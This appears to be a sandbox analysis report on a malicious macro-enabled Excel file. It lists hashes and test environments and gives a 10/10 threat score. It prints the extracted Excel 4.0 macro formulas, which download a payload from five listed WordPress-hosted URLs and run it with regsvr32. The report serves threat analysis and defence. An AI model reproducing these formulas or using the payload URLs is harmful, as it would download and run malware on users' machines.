General
-
Target
b15f3532e0fd9b219d82e1c1a737e0920be514ab7dad17d79de0c1f802071b17
-
Size
95KB
-
Sample
241111-wpd3nsshqm
-
MD5
e5cff655e74e54c72cc8919fa9ffabe8
-
SHA1
2d32c528b1e1321b20c91fa61ac2818f828516b9
-
SHA256
b15f3532e0fd9b219d82e1c1a737e0920be514ab7dad17d79de0c1f802071b17
-
SHA512
625ade201805d0f3b8f0e2c45883767df7d7a89a0145bef4f288f2d12959af779c3b6e4837b11268de93ca0f32e32fbba83d5621d515f94131e1a3ab6164bcdd
-
SSDEEP
1536:cQxfGWXG8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVFfw:c2318DsVhonV69o2bchgGaWBcpA+fw
Behavioral task
behavioral1
Sample
b15f3532e0fd9b219d82e1c1a737e0920be514ab7dad17d79de0c1f802071b17.xlsm
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
b15f3532e0fd9b219d82e1c1a737e0920be514ab7dad17d79de0c1f802071b17.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/
https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/
https://forfreeiptv.com/wp-admin/s5Oxoskqv8/
https://dehraduncabs.com/wp-includes/9xqp/
https://imprecof.com/i/QPWeAg0C1hh/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/","..\dw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://forfreeiptv.com/wp-admin/s5Oxoskqv8/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dehraduncabs.com/wp-includes/9xqp/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://imprecof.com/i/QPWeAg0C1hh/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dw1.ocx") =RETURN()
Extracted
https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/
https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/
https://forfreeiptv.com/wp-admin/s5Oxoskqv8/
Targets
-
-
Target
b15f3532e0fd9b219d82e1c1a737e0920be514ab7dad17d79de0c1f802071b17
-
Size
95KB
-
MD5
e5cff655e74e54c72cc8919fa9ffabe8
-
SHA1
2d32c528b1e1321b20c91fa61ac2818f828516b9
-
SHA256
b15f3532e0fd9b219d82e1c1a737e0920be514ab7dad17d79de0c1f802071b17
-
SHA512
625ade201805d0f3b8f0e2c45883767df7d7a89a0145bef4f288f2d12959af779c3b6e4837b11268de93ca0f32e32fbba83d5621d515f94131e1a3ab6164bcdd
-
SSDEEP
1536:cQxfGWXG8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVFfw:c2318DsVhonV69o2bchgGaWBcpA+fw
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-